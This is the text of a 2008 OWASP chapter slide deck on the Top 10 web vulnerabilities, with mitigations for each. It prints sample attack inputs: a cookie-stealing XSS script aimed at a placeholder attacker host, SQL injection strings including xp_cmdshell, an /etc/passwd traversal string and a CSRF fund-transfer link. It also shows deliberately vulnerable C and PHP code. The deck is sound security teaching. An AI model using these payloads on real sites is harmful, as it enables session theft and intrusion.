SlideShare a Scribd company logo
Pune, India January 2008
SANS @RISK December 2007 3 Dec 10 Dec 17 Dec 24 Dec 31 Dec Total Microsoft Products 2 3 12 0 2 19 Mac 2 2 2 4 0 10 Linux 10 5 8 11 0 34 Unix, Solaris, etc 5 3 3 4 1 16 Network Device 1 3 1 1 1 7 Others ( various ) 31 33 30 37 16 147 Web Applications 70 34 52 35 52 243
“  The Open Web Application Security Project (OWASP) is a worldwide free and open community focused on improving the security of application software. Our mission is to make application security "visible," so that people and organizations can make informed decisions about application security risks.  Everyone is free to participate in OWASP and all of our materials are available under an open source license… ”
U.S. Federal Trade Commission U.S. Defense Information Systems Agency U.S. DOD Information Technology Security Certification and Accreditation (C&A) Process (DITSCAP) Payment Card Industry (PCI) standard & some of the leading corporations around the globe …
Vulnerability : is a hole or a weakness in the application, which can be a design flaw or an implementation bug, that allows an attacker to cause harm to the stakeholders of an application. Threats : A threat is any potential occurrence, malicious or otherwise, that could harm an asset. In other words, a threat is any bad thing that can happen to your assets. Attacks : An attack is an action that exploits a vulnerability or enacts a threat. Examples of attacks include sending malicious input to an application or flooding a network in an attempt to deny service. Countermeasures : Countermeasures are defensive technologies or modules that are used to detect, deter, or deny attacks.
 
A1 – Cross Site Scripting (XSS) ......................................................................................................................................  A2 – Injection Flaws ......................................................................................................................................  A3 – Malicious File Execution ......................................................................................................................................  A4 – Insecure Direct Object Reference ......................................................................................................................................  A5 – Cross Site Request Forgery (CSRF) ......................................................................................................................................  A6 – Information Leakage and Improper Error Handling ......................................................................................................................................  A7 – Broken Authentication and Session Management ......................................................................................................................................  A8 – Insecure Cryptographic Storage ......................................................................................................................................  A9 – Insecure Communications ......................................................................................................................................  A10 – Failure to Restrict URL Access ......................................................................................................................................
OWASP Top 10 2004
Buffer is storage space for data. Buffer overflow occurs when too much data is written into the allocated space. It is well known vulnerability Attacker will inject data with shellcode into the allocated stack area. By over-writing return addresses he will run his malicious code.
Common software security flaw Commonly affect C and C++ Google for buffer overflows.
int main(int argc, void ** argv[]) {   char buff[64];   strcpy(buff,argv[1]);   return 0; } What will happen if we pass 100 character long string as a argument ???? No Boundary Check
Buffer 1 Return address Other data -------------- --------------
-------------- -------------- \x90\x90\x90\x90 \x90\x90\x90\x90 \x90\x90\x90\x90 \x90\x90\x90\x90 \x90\x90\x90\x90 Return Address Filled Buffer with NOP’s and Shellcode Shellcode
Occurs when too much data is written into the allocated heap area. Generally allocated by malloc(). Snippest:  #define BUFSIZE 256 int main(int argc, char **argv)  {  char *buf; buf = (char *)malloc(BUFSIZE);  strcpy(buf, argv[1]); }
It occurs when user supplied input data is processed as a command by an application. The application doesn’t validate user supplied data. The format string functions are an ANSI C conversion functions like printf, fprintf, sprintf, snprintf etc.
Format String parameters : %d, %c, %d, %n, %s etc When passed these arguments may, -- read values from the stack -- write values on the stack -- execute arbitrary code Example:  printf (Input Data);
Old EIP over-write method New techniques are evolved Structured Exception Handler Over-write Heap Spray Heap Feng Shui Not a part of this presentation Demo : Heap Spray  
Avoid using functions such as  strcpy (), strcat (), sprintf ()  and  vsprintf ()  which perform no bounds checking. Always check the bounds of an array before writing it to a buffer. Validate user supplied data for format string parameters Use automated tools like fuzzers to test bo’s Manual code review – Best one, needs good efforts from Reviewer Follow OWASP guidelines www.owasp.org
Exploit Demo using Heap Spray
 
The attack works by including a link in a webpage or an email that accesses a site to which the user is known to have authenticated. Very simple and Dangerous attack Got popular in recent times Performs GET/POST request of attacker’s choice on behalf of logged in user Also known as XSRF, Session Riding, Cross Site Reference Forgery, Hostile Linking etc
It’s just  one-click attack  (According to MS) Malicious request can be embedded in <img>, <href>, <iframe> tags Website has a trust in user Browser will automatically parse the request based on user session cookies Example. Gmail flaw lets anyone to read the friend’s list
<a href=&quot;http://googlified.com.googlepages.com/contactlist.htm&quot;>
Stored CSRF / Persistent    - Example: Simply store it in <img> tag Reflected / Non – Persistent   - Example:  Send a malicious link
www.bank.com Victim Attacker   Logging Request Auth Cookies Legitimate Requests Sends an email containing malicious href tag. Click Here Transfer Money <a href=  http://www.bank.com/transfer.php?acc=attacker&amount=$10000 > 1 2 3 4 5 6 7
User logs into bank.com using user-id and password. The Bank.com sends cookies to the user if he is valid one for later authentication. User performs other request like balance enquiry etc. While user is online, he receives an email saying you have own $1,00,000. Innocent user clicks on the link without any concern. The link contains malicious fund transfer request. The request is sent to the bank.com by the browser treating it is a valid one. The money gets transferred to the attacker.
Use security tokens or security key for every request URL and form posting Use POST request instead of GET Referrer header field check Manual testing for CSRF Re-authenticate the user for critical operations Log off before visiting unknown domains
Use POST request instead of GET     Alone it is not sufficient, can be done using XmlHttpRequest using javascript Referrer header field check     Can be spoofed Best is to use random tokens/keys for every request
ViewStateUserKey  :Assigns an identifier to an individual user in the view state variable associated with the current page  ASP. net property that helps you to prevent CSRF attacks Set this property to user-id or session id
Wiki Website  
 
XSS allow script to be executed at client side. Website allows a user to inject arbitrary HTML Code Exists due to bad input validation Forces a website to echo attacker’s supplied code Compromises trust between user and  website
May steal cookies, redirect you to another location Different from CSRF (cross site request forgery) Very known old bug Can be used for phishing
Simple XSS :-  <script> alert (‘XSS’) </script> Attack :  http://test.com/test.php?var=<script>alert(‘XSS’)</script >; Attack:  <a href= http://test.com/test.php?var=<script>alert(‘XSS’)</script>; ></a> Attack: <script>document.location=“http://attacker/steal_cookies.php?cookies=“+ document.cookie </script>
Reflected XSS / Persistent  Stored XSS / Non – Persistent DOM Based XSS
Easiest to exploit Immediate response to HTTP request Page directly reflect user supplied data back to user Typically search engine results, error messages May reach you from email messages
Reflected XSS BID - 21534
Stores XSS in a database or file Stored permanently  Very dangerous for blogs, forums Large number of victim gets affected while accessing stored XSS Eg.  Samy Worm  -- MySpace Worm JS-Yamanner – Yahoo Worm
 
Don’t send the malicious data to the server in the first place  Insecure object reference and use of DOM objects that are not fully controlled by the server provided page  Objects: location, URL, referrer etc Example: document.location + $username
www.bank.com Victim Attacker   Logging Request Auth Cookies Legitimate Requests Click Here Stolen Cookies 1 2 3 4 5 6 7 Sends malicious request  <script>document. location=“http://attacker/steal_cookies.php?cookies=“+document. cookie</script>
Powerful language Attacker can manipulate the webpage Can add new elements or change the look of the page Mostly used in XSS attack XSS can be carried out using VBScript, Activex, Flash etc
HTML injection plus XSS Attacker used <embed> tag and Flash  Orkut application failed to parse user supplied data Affected 7,00,000 accounts in 24 hours The worm only forces victim to join attacker’s own community. Attacker can have done even worse !!!
Application copied all the data after wmode The code gets converted into javascript and flash object Attacker successfully inserted other script which will run his malicious code Orkut has patched this bug  
Validate or encode all input parameters Output Encoding  Output Encoding - Microsoft AntiXSS Library Filter every parameter of the request including header fields mainly <, > Check for length, type, syntax….. Use automated tools for finding XSS – Microsoft XSS Detect Use NoScript plug-in for firefox Disable Javascript if possible Don’t trust on suspicious emails Don’t visit untrusted websites
Injection Flaws
SQL Injection The ability to inject SQL commands into the database engine through an existing application. How common it is? It is probably the most common Web application vulnerability. It is a flaw in &quot;web application&quot; development, it is not a DB or web server problem. Most programmers are still not aware of this problem. A lot of the tutorials & demo “templates” are vulnerable. Even worse, a lot of solutions posted on the Internet are not good enough.
Almost all SQL databases and programming  languages are  potentially vulnerable MS SQL Server, Oracle, MySQL, Postgresql, DB2, MS Access, Sybase, Informix, etc Accessed through applications developed  using: Perl and CGI scripts that access databases  ASP, JSP, PHP XML, XSL and XSQL  Javascript  VB, MFC, and other ODBC-based tools and APIs  DB specific Web-based applications and API’s  Reports and DB Applications  3 and 4GL-based languages (C, OCI, Pro*C, and COBOL) many more
Extracting data from Metadata OS Interaction '; exec master..xp_servicecontrol 'start','FTP Publishing' – Assessing Network Connectivity '; exec master..xp_cmdshell 'ping MyIP' --
 
How does an attacker detect SQL Injection vulnerabilities on a web page? SQL Error messages Breaks the query syntax and looks for error messages. SQL Disclosure  Injects variations of OR 1=1 and looks for Table growth. Union injection approach. Blind SQL Injection Injects True injection string ‘OR 1=1 and False Injection strings ‘AND 1=0 Compare original response, true response and false response. SQL Injection Time delay  Targets the Insert, Update, Delete queries vulnerable to SQL Injection. Causes delay in execution of the query and obtains delay time. Compare default time and delay time to determine the vulnerability. Note:  Time delay SQL clauses are database specific.
SQL Error Messages Try to break syntax of SQL query  Injection Strings: \‘ 1) ')); Detection Strings: java.sql.SQLException Internal Servlet Error: MySQL Error : Oracle SQL invalidation Sybase/MSSQL SQL invalidation error in your SQL syntax ODBC Microsoft Access Driver] Syntax error
Blind SQL Injection   Determine if a page is vulnerable based on responses to TRUE/FALSE queries Base query select * from table where col1 = ‘x’; Store response  R0 TRUE query Inject: ‘ OR 1=1; -- Injected query: select * from table where col1 = ‘x’ OR 1=1 ;-- Store response  R1 FALSE query Inject: ‘ AND 1=0; -- Injected query: select * from table where col1 = ‘x’ AND 1=0; -- Store response  R2 If ( R0 is identical with R1/R0 is identical with R2) and   R1 differs from R2 ,  page is vulnerable to exploitation via Blind SQL injection technique
SQL Injection – Time delay  Determine if a page is vulnerable based on default response time and delayed response time. Default response time Obtain the default response time per field by breaking the query -  defaultTimeUsed . Delayed response time Inject “; waitfor delay ’00:00:15’” in the application query for every field. Obtain the delayed response time -  actualTime . If  actualTime > defaultTimeUsed +  timeSpread -  500,  page is vulnerable to SQL injection. (500 ms discrepancy allowed.)
How to prevent SQL Injection? Development phase Input validation Parametrized queries QA phase Source code auditing Hack your own web application Production phase Web application firewall (Intrusion Detection System)
Sample secure code Input validation if (<validating_condition>) String sqlQuery = “SELECT * FROM users WHERE userid = ‘” + username + ‘”; else throw new IllegalArgumentException(); if (<validating_condition>) could be a simple length check, such as: if (username.length() < MAX_POSSIBLE_LENGTH) if ( username.matches(“[0-9a-zA-Z’]*”) ) if ( username.matches(“\b[A-Z0-9._%-]+@[A-Z0-9.-]+\.[A-Z]{2,4}\b”) )
Sample secure code Prepared statement String username = httpRequest.getParameter(“username”); String query = “SELECT * FROM users WHERE userid = ?”; PreparedStatement stmt = db_conn.prepareStatement(query); stmt.setString(1, username); ResultSet results = stmt.executeQuery();
SQL Injection is one of the most dangerous attack in the Web application security world.  An attacker can not only access the information thatshould be normally be inaccessible but also steal your money electronically. Never underestimate SQL Injection vulnerability and secure your application right from the development tothe production phase.
 
OWASP Definition: Code vulnerable to remote file inclusion (RFI) allows attackers to include hostile code and data, resulting in devastating attacks, such as total server compromise. Malicious file execution attacks affect PHP, XML and any framework which accepts filenames or files from users.
A common vulnerable construct is: include $_REQUEST['filename’]; Not only does this allow evaluation of remote hostile scripts, it can be used to access local file servers (if PHP is hosted upon Windows) due to SMB support in PHP’s file system wrappers. Other methods of attack include:  Hostile data being uploaded to session files, log data, and via image uploads (typical of forum software)  Using compression or audio streams, such as zlib:// or ogg:// which do not inspect the internal PHP URL flag and thus allow access to remote resources even if allow_url_fopen or allow_url_include is disabled  Using PHP wrappers, such as php://input and others to take input from the request POST data rather than a file  Using PHP’s data: wrapper, such as data:;base64,PD9waHAgcGhwaW5mbygpOz8+
Do not allow user input to be used for any part of a file or path name. Where user input must influences a file name or URL, use a fully enumerated list to positively validate the value. File uploads have to be done VERY carefully. Only allow uploads to a path outside of the webroot so it can not be executed Validate the file name provided so that a directory path is not included. Implement or enable sandbox or chroot controls which limit the applications access to files.
Insecure Direct Object Reference
OWASP Definition: A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter. Attackers can manipulate those references to access other objects without authorization.
Many applications expose their internal object references to users. Attackers use parameter tampering to change references and violate the intended but unenforced access control policy. Frequently, these references point to file systems and databases, but any exposed application construct could be vulnerable.  For example, if code allows user input to specify filenames or paths, it may allow attackers to jump out of the application’s directory, and access other resources.  <select name=&quot;language&quot;><option value=&quot;fr&quot;> Français </option> </select> … require_once ($_REQUEST['language’].&quot;lang.php&quot;);  Such code can be attacked using a string like &quot;../../../../etc/passwd%00&quot; using null byte injection (see the OWASP Guide for more information) to access any file on the web server’s file system
Avoid exposing private object references to users whenever possible, such as primary keys or filenames  Validate any private object references extensively with an &quot;accept known good&quot; approach  Verify authorization to all referenced objects
 
OWASP Definition: Applications can unintentionally leak information about their configuration, internal workings, or violate privacy through a variety of application problems. Attackers use this weakness to steal sensitive data or conduct more serious attacks.
Applications frequently generate error messages and display them to users. Many times these error messages are quite useful to attackers, as they reveal implementation details or information that is useful in exploiting a vulnerability. There are several common examples of this:  Detailed error handling, where inducing an error displays too much information, such as stack traces, failed SQL statements, or other debugging information  Functions that produce different results based upon different inputs. For example, supplying the same username but different passwords to a login function should produce the same text for no such user, and bad password. However, many systems produce different error codes
Prevent display of detailed internal error messages including stack traces, messages with database or table names, protocols, and other error codes. (This can provide attackers clues as to potential flaws.) Good error handling systems should always enforce the security scheme in place while still being able to handle any feasible input.  Provide short error messages to the user while logging detailed error information to an internal log file. Diagnostic information is available to site maintainers Vague messages indicating an internal failure provided to the users Provide just enough information to allow what is reported by the user to be able to linked the internal error logs.  For example: System Time-stamp, client IP address, and URL
Ensure sensitive responses with multiple outcomes return identical results Save the different responses and diff the html, the http headers & URL. Ensure error messages are returned in roughly the same time. or consider imposing a random wait time for all transactions to hide this detail from the attacker.
 
OWASP Definition: Account credentials and session tokens are often not properly protected. Attackers compromise passwords, keys, or authentication tokens to assume other users’ identities.
HTTP/s Protocol does not provide tracking of a users session. Session tracking answers the question: After a user authenticates how does the server associate subsequent requests to the authenticated user? Typically, Web Application Vendors provide a built-in session tracking, which is good if used properly. Often developers will make the mistake of inventing their own session tracking. Cookie Cruncher
Flaws in the main authentication mechanism are not uncommon, but weaknesses are more often introduced through ancillary authentication functions such as logout, password management, timeout, remember me, secret question, and account update.
Session ID is disclosed or is guessed. An attacker using the same session ID has the same privileges as the real user. Especially useful to an attacker if the session is privileged. Allows initial access to the Web application to be combined with other attacks.
Use long complex random session ID that cannot be guessed. Protect the transmission and storage of the Session ID to prevent disclosure and hijacking. A URL query string should not be used for Session ID or any User/Session information URL is stored in browser cache  Logged via Web proxies and stored in the proxy cache Example: https://www.example.net/servlet/login ?userid=ralph&password=dumb
Password Change Controls  - require users to provide both old and new passwords Forgotten Password Controls  - if forgotten passwords are emailed to users, they should be required to re-authenticate whenever they attempt to change their email address.  Password Strength  - require at least 7 characters, with letters, numbers, and special characters both upper case and lower case.  Password Expiration  - Users must change passwords every 90 days, and administrators every 30 days.
Password Storage  - never store passwords in plain text. Passwords should always be stored in either hashed (preferred) or encrypted form. Protecting Credentials in Transit  - to prevent &quot;man-in-the-middle&quot; attacks the entire authenticated session / transaction should be encrypted SSLv3 or TLSv1 Man-in-the-middle attacks  - are still possible with SSL if users disable or ignore warnings about invalid SSL certificates. Replay attacks -  Transformations such as hashing on the client side provide little protection as the hashed version can simply be intercepted and retransmitted so that the actual plain text password is not needed.
login.asp homepage.asp login.asp homepage.asp logoff Client Server GET www.abc.com www.abc.com/login.asp POST username + password www.abc.com/homepage.asp
login.asp authenticate.asp login.asp Redirect request logoff homepage.asp homepage.asp Client Server GET www.abc.com www.abc.com/login.asp POST username + password Redirect : www.abc.com/homepage.asp GET www.abc.com/homepage.asp www.abc.com/homepage.asp
OWASP Definition: Web applications rarely use cryptographic functions properly to protect data and credentials. Attackers use weakly protected data to conduct identity theft and other crimes, such as credit card fraud.
Preventing cryptographic flaws takes careful planning. The most common problems are:  Not encrypting sensitive data  Using home grown algorithms  Insecure use of strong algorithms  Continued use of proven weak algorithms (MD5, SHA-1, RC3, RC4, etc…)  Hard coding keys, and storing keys in unprotected stores
Improper/insecure storage of passwords, certifications, and keys  Poor choice of algorithm  Poor source of randomness for initialization vectors Attempting to develop a new encryption scheme &quot;in house” (Always a BAD idea) Failure to provide functionality to change encryption keys 1] SQL credentials 2] x = input(); y=f(x);
Do not create cryptographic algorithms. Only use approved public algorithms such as AES, RSA public key cryptography, and SHA-256 or better for hashing.  Do not use weak algorithms, such as MD5 / SHA1. Favor safer alternatives, such as SHA-256 or better  Generate keys offline and store private keys with extreme care.  Never transmit private keys over insecure channels Ensure that infrastructure credentials such as database credentials or MQ queue access details are properly secured.  Ensure that encrypted data stored on disk is not easy to decrypt.
OWASP Definition: Applications frequently fail to encrypt network traffic when it is necessary to protect sensitive communications .
Failure to encrypt sensitive communications means that an attacker who can sniff traffic from the network will be able to access the conversation, including any credentials or sensitive information transmitted.  Using SSL for communications with end users is critical, as they are very likely to be using insecure networks to access applications. Because HTTP includes authentication credentials or a session token with every single request, all authenticated traffic needs to go over SSL, not just the actual login request.  Encrypting communications with backend servers is also important. Although these networks are likely to be more secure, the information and credentials they carry is more sensitive and more extensive. Therefore using SSL on the backend is quite important.
Use SSL for all connections that are authenticated or transmitting sensitive or value data, such as credentials, credit card details, health and other private information  Ensure that communications between infrastructure elements, such as between web servers and database systems, are appropriately protected via the use of transport layer security or protocol level encryption for credentials and intrinsic value data  Under PCI Data Security Standard requirement 4, you must protect cardholder data in transit. PCI DSS compliance is mandatory by 2008 for merchants and anyone else dealing with credit cards.
OWASP Definition: Frequently, an application only protects sensitive functionality by preventing the display of links or URLs to unauthorized users. Attackers can use this weakness to access and perform unauthorized operations by accessing those URLs directly.
The primary attack method for this vulnerability is called &quot;forced browsing&quot;, which encompasses guessing links and brute force techniques to find unprotected pages.  Applications frequently allow access control code to evolve and spread throughout a codebase, resulting in a complex model that is difficult to understand for developers and security specialists alike.  This complexity makes it likely that errors will occur and pages will be missed, leaving them exposed.  .
Ensure the access control matrix is part of the business, architecture, and design of the application  Ensure that all URLs and business functions are protected by an effective access control mechanism Perform a penetration test Pay close attention to include/library files Do not assume that users will be unaware of special or hidden URLs or APIs. Block access to all file types that your application should never serve. Keep up to date with virus protection and patches
OWASP “THE TEN MOST CRITICAL WEB APPLICATION SECURITY VULNERABILITIES” 2007 Update (  www.owasp.org  ) Microsoft :: Improving Web Application Security : Threats and Countermeasures ( http://www.microsoft.com/downloads/details.aspx?familyid=E9C4BFAA-AF88-4AA5-88D4-0DEA898C31B9&displaylang=en ) SANS @Risk (  www.sans.org  ) SPI Dynamics (  http://spidynamics.com/index.html  ) FoundStone HacMe resources  (  http://www.foundstone.com/us/resources-free-tools.asp  )
[email_address] [email_address] [email_address]

More Related Content

PDF
Web Application Security 101
Cybersecurity Education and Research Centre
 
PPTX
Application Security Vulnerabilities: OWASP Top 10 -2007
Vaibhav Gupta
 
PPTX
Web application security
Kapil Sharma
 
PDF
Web App Security Presentation by Ryan Holland - 05-31-2017
TriNimbus
 
PPTX
Web Application Security 101
Jannis Kirschner
 
PPTX
Owasp top 10 security threats
Vishal Kumar
 
PDF
OWASP Top 10 - 2017
HackerOne
 
PPT
Intro to Web Application Security
Rob Ragan
 
Web Application Security 101
Cybersecurity Education and Research Centre
 
Application Security Vulnerabilities: OWASP Top 10 -2007
Vaibhav Gupta
 
Web application security
Kapil Sharma
 
Web App Security Presentation by Ryan Holland - 05-31-2017
TriNimbus
 
Web Application Security 101
Jannis Kirschner
 
Owasp top 10 security threats
Vishal Kumar
 
OWASP Top 10 - 2017
HackerOne
 
Intro to Web Application Security
Rob Ragan
 

What's hot (20)

PDF
Web Application Security and Awareness
Abdul Rahman Sherzad
 
PPT
Owasp top 10
Aravindharamanan S
 
PDF
The New OWASP Top Ten: Let's Cut to the Chase
Security Innovation
 
PDF
Top 10 Web Application vulnerabilities
Terrance Medina
 
PPT
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Brian Huff
 
PPTX
OWASP Top 10 - 2017 Top 10 web application security risks
Kun-Da Wu
 
PDF
Penetration testing web application web application (in) security
Nahidul Kibria
 
PPTX
OWASP Top 10 2017 rc1 - The Ten Most Critical Web Application Security Risks
Andre Van Klaveren
 
PPTX
Owasp first5 presentation
Ashwini Paranjpe
 
PPTX
Owasp top 10 2017
ibrahimumer2
 
PPTX
Owasp top 10 vulnerabilities
OWASP Delhi
 
PPTX
Owasp 2017 oveview
Shreyas N
 
PPTX
3. backup file artifacts - mazin ahmed
Rashid Khatmey
 
PDF
OWASP Top 10 - The Ten Most Critical Web Application Security Risks
All Things Open
 
PPT
Owasp Top 10 And Security Flaw Root Causes
Marco Morana
 
PDF
Security in the cloud protecting your cloud apps
Cenzic
 
PDF
Owasp top 10
YasserElsnbary
 
PPTX
OWASP -Top 5 Jagjit
Jagjit Singh Brar
 
PDF
Testing Web Application Security
Ted Husted
 
PPT
Step by step guide for web application security testing
Avyaan, Web Security Company in India
 
Web Application Security and Awareness
Abdul Rahman Sherzad
 
Owasp top 10
Aravindharamanan S
 
The New OWASP Top Ten: Let's Cut to the Chase
Security Innovation
 
Top 10 Web Application vulnerabilities
Terrance Medina
 
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Brian Huff
 
OWASP Top 10 - 2017 Top 10 web application security risks
Kun-Da Wu
 
Penetration testing web application web application (in) security
Nahidul Kibria
 
OWASP Top 10 2017 rc1 - The Ten Most Critical Web Application Security Risks
Andre Van Klaveren
 
Owasp first5 presentation
Ashwini Paranjpe
 
Owasp top 10 2017
ibrahimumer2
 
Owasp top 10 vulnerabilities
OWASP Delhi
 
Owasp 2017 oveview
Shreyas N
 
3. backup file artifacts - mazin ahmed
Rashid Khatmey
 
OWASP Top 10 - The Ten Most Critical Web Application Security Risks
All Things Open
 
Owasp Top 10 And Security Flaw Root Causes
Marco Morana
 
Security in the cloud protecting your cloud apps
Cenzic
 
Owasp top 10
YasserElsnbary
 
OWASP -Top 5 Jagjit
Jagjit Singh Brar
 
Testing Web Application Security
Ted Husted
 
Step by step guide for web application security testing
Avyaan, Web Security Company in India
 
Ad

Viewers also liked (20)

PDF
Finding things on the web with Yahoo! BOSS: IIT Delhi
Saurabh Sahni
 
PDF
YQL: Hacking on steroids - Yahoo! Open Hack Day 2012
Saurabh Sahni
 
PDF
Enabling Microservices @Orbitz - Velocity Conf 2015
Steve Hoffman
 
PDF
My Site Was Hacked!
Didit Marketing
 
PDF
Hacking & everything you need to survice a hackday - Yahoo! Agency Hack Day N...
Saurabh Sahni
 
PDF
Hacking for Innovation - WPP, New York
Saurabh Sahni
 
PDF
The Cost of Bad (And Clean) Data
RingLead
 
PDF
The Worst Code
Michele Titolo
 
PDF
Identity Management for Web Application Developers
Prabath Siriwardena
 
PPTX
Connected Identity : The Role of the Identity Bus
Prabath Siriwardena
 
PPTX
REST Service Authetication with TLS & JWTs
Jon Todd
 
PPTX
OWASP top 10-2013
tmd800
 
PDF
API Security Best Practices & Guidelines
Prabath Siriwardena
 
PDF
AppSec And Microservices
Sam Newman
 
PDF
Advanced API Security
Prabath Siriwardena
 
PDF
AppSec & Microservices - Velocity 2016
Sam Newman
 
PDF
Microservices Manchester: Security, Microservces and Vault by Nicki Watt
OpenCredo
 
PDF
Dynamic Database Credentials: Security Contingency Planning
Sean Chittenden
 
PDF
2013 OWASP Top 10
bilcorry
 
PDF
Microservices Application Tracing Standards and Simulators - Adrians at OSCON
Adrian Cockcroft
 
Finding things on the web with Yahoo! BOSS: IIT Delhi
Saurabh Sahni
 
YQL: Hacking on steroids - Yahoo! Open Hack Day 2012
Saurabh Sahni
 
Enabling Microservices @Orbitz - Velocity Conf 2015
Steve Hoffman
 
My Site Was Hacked!
Didit Marketing
 
Hacking & everything you need to survice a hackday - Yahoo! Agency Hack Day N...
Saurabh Sahni
 
Hacking for Innovation - WPP, New York
Saurabh Sahni
 
The Cost of Bad (And Clean) Data
RingLead
 
The Worst Code
Michele Titolo
 
Identity Management for Web Application Developers
Prabath Siriwardena
 
Connected Identity : The Role of the Identity Bus
Prabath Siriwardena
 
REST Service Authetication with TLS & JWTs
Jon Todd
 
OWASP top 10-2013
tmd800
 
API Security Best Practices & Guidelines
Prabath Siriwardena
 
AppSec And Microservices
Sam Newman
 
Advanced API Security
Prabath Siriwardena
 
AppSec & Microservices - Velocity 2016
Sam Newman
 
Microservices Manchester: Security, Microservces and Vault by Nicki Watt
OpenCredo
 
Dynamic Database Credentials: Security Contingency Planning
Sean Chittenden
 
2013 OWASP Top 10
bilcorry
 
Microservices Application Tracing Standards and Simulators - Adrians at OSCON
Adrian Cockcroft
 
Ad

Similar to Owasp Top 10 - Owasp Pune Chapter - January 2008 (20)

PDF
OWASP TOP 10 by Team xbios
Vi Vek
 
PDF
Secure Coding BSSN Semarang Material.pdf
nanangAris1
 
PDF
Security Awareness
Lucas Hendrich
 
PPT
Security 101
George V. Reilly
 
PDF
Owasp top 10 vulnerabilities 2013
Vishrut Sharma
 
PPT
Application Security
nirola
 
PPTX
Security testing for web developers
matthewhughes
 
DOCX
logout.php Session Data after Logout Username Email . $_.docx
smile790243
 
PPT
Web Application Security
Chris Hillman
 
PPTX
Top web apps security vulnerabilities
Aleksandar Bozinovski
 
PDF
Making Web Development "Secure By Default"
Duo Security
 
PDF
Ajax Security
Joe Walker
 
PPTX
Web Application Vulnerabilities
Preetish Panda
 
PPTX
ASP.NET security vulnerabilities
Aleksandar Bozinovski
 
PDF
Do You Write Secure Code? by Erez Metula
Alphageeks
 
PPT
Web Aplication Vulnerabilities
Jbyte
 
PPT
Seguridad Web by Jordan Diaz
Jordan Diaz
 
PDF
Top 10 Security Vulnerabilities (2006)
Susam Pal
 
PPT
CSRF_RSA_2008_Jeremiah_Grossman
guestdb261a
 
PPTX
Vulnerabilities in modern web applications
Niyas Nazar
 
OWASP TOP 10 by Team xbios
Vi Vek
 
Secure Coding BSSN Semarang Material.pdf
nanangAris1
 
Security Awareness
Lucas Hendrich
 
Security 101
George V. Reilly
 
Owasp top 10 vulnerabilities 2013
Vishrut Sharma
 
Application Security
nirola
 
Security testing for web developers
matthewhughes
 
logout.php Session Data after Logout Username Email . $_.docx
smile790243
 
Web Application Security
Chris Hillman
 
Top web apps security vulnerabilities
Aleksandar Bozinovski
 
Making Web Development "Secure By Default"
Duo Security
 
Ajax Security
Joe Walker
 
Web Application Vulnerabilities
Preetish Panda
 
ASP.NET security vulnerabilities
Aleksandar Bozinovski
 
Do You Write Secure Code? by Erez Metula
Alphageeks
 
Web Aplication Vulnerabilities
Jbyte
 
Seguridad Web by Jordan Diaz
Jordan Diaz
 
Top 10 Security Vulnerabilities (2006)
Susam Pal
 
CSRF_RSA_2008_Jeremiah_Grossman
guestdb261a
 
Vulnerabilities in modern web applications
Niyas Nazar
 

Recently uploaded (20)

PPTX
Applied-Statistics-Mastering-Data-Driven-Decisions.pptx
parmaryashparmaryash
 
PDF
Presentation about Hardware and Software in Computer
snehamodhawadiya
 
PPTX
AI and Robotics for Human Well-being.pptx
JAYMIN SUTHAR
 
PDF
Structs to JSON: How Go Powers REST APIs
Emily Achieng
 
PPTX
The-Ethical-Hackers-Imperative-Safeguarding-the-Digital-Frontier.pptx
sujalchauhan1305
 
PPTX
Dev Dives: Automate, test, and deploy in one place—with Unified Developer Exp...
AndreeaTom
 
PDF
How ETL Control Logic Keeps Your Pipelines Safe and Reliable.pdf
Stryv Solutions Pvt. Ltd.
 
PDF
AI Unleashed - Shaping the Future -Starting Today - AIOUG Yatra 2025 - For Co...
Sandesh Rao
 
PDF
SparkLabs Primer on Artificial Intelligence 2025
SparkLabs Group
 
PPTX
Agile Chennai 18-19 July 2025 Ideathon | AI Powered Microfinance Literacy Gui...
AgileNetwork
 
PDF
NewMind AI Weekly Chronicles - July'25 - Week IV
NewMind AI
 
PDF
How Open Source Changed My Career by abdelrahman ismail
a0m0rajab1
 
PDF
The Future of Artificial Intelligence (AI)
Mukul
 
PDF
Peak of Data & AI Encore - Real-Time Insights & Scalable Editing with ArcGIS
Safe Software
 
PDF
AI-Cloud-Business-Management-Platforms-The-Key-to-Efficiency-Growth.pdf
Artjoker Software Development Company
 
PDF
Using Anchore and DefectDojo to Stand Up Your DevSecOps Function
Anchore
 
PPTX
IT Runs Better with ThousandEyes AI-driven Assurance
ThousandEyes
 
PPTX
The Future of AI & Machine Learning.pptx
pritsen4700
 
PDF
Orbitly Pitch Deck|A Mission-Driven Platform for Side Project Collaboration (...
zz41354899
 
PPTX
What-is-the-World-Wide-Web -- Introduction
tonifi9488
 
Applied-Statistics-Mastering-Data-Driven-Decisions.pptx
parmaryashparmaryash
 
Presentation about Hardware and Software in Computer
snehamodhawadiya
 
AI and Robotics for Human Well-being.pptx
JAYMIN SUTHAR
 
Structs to JSON: How Go Powers REST APIs
Emily Achieng
 
The-Ethical-Hackers-Imperative-Safeguarding-the-Digital-Frontier.pptx
sujalchauhan1305
 
Dev Dives: Automate, test, and deploy in one place—with Unified Developer Exp...
AndreeaTom
 
How ETL Control Logic Keeps Your Pipelines Safe and Reliable.pdf
Stryv Solutions Pvt. Ltd.
 
AI Unleashed - Shaping the Future -Starting Today - AIOUG Yatra 2025 - For Co...
Sandesh Rao
 
SparkLabs Primer on Artificial Intelligence 2025
SparkLabs Group
 
Agile Chennai 18-19 July 2025 Ideathon | AI Powered Microfinance Literacy Gui...
AgileNetwork
 
NewMind AI Weekly Chronicles - July'25 - Week IV
NewMind AI
 
How Open Source Changed My Career by abdelrahman ismail
a0m0rajab1
 
The Future of Artificial Intelligence (AI)
Mukul
 
Peak of Data & AI Encore - Real-Time Insights & Scalable Editing with ArcGIS
Safe Software
 
AI-Cloud-Business-Management-Platforms-The-Key-to-Efficiency-Growth.pdf
Artjoker Software Development Company
 
Using Anchore and DefectDojo to Stand Up Your DevSecOps Function
Anchore
 
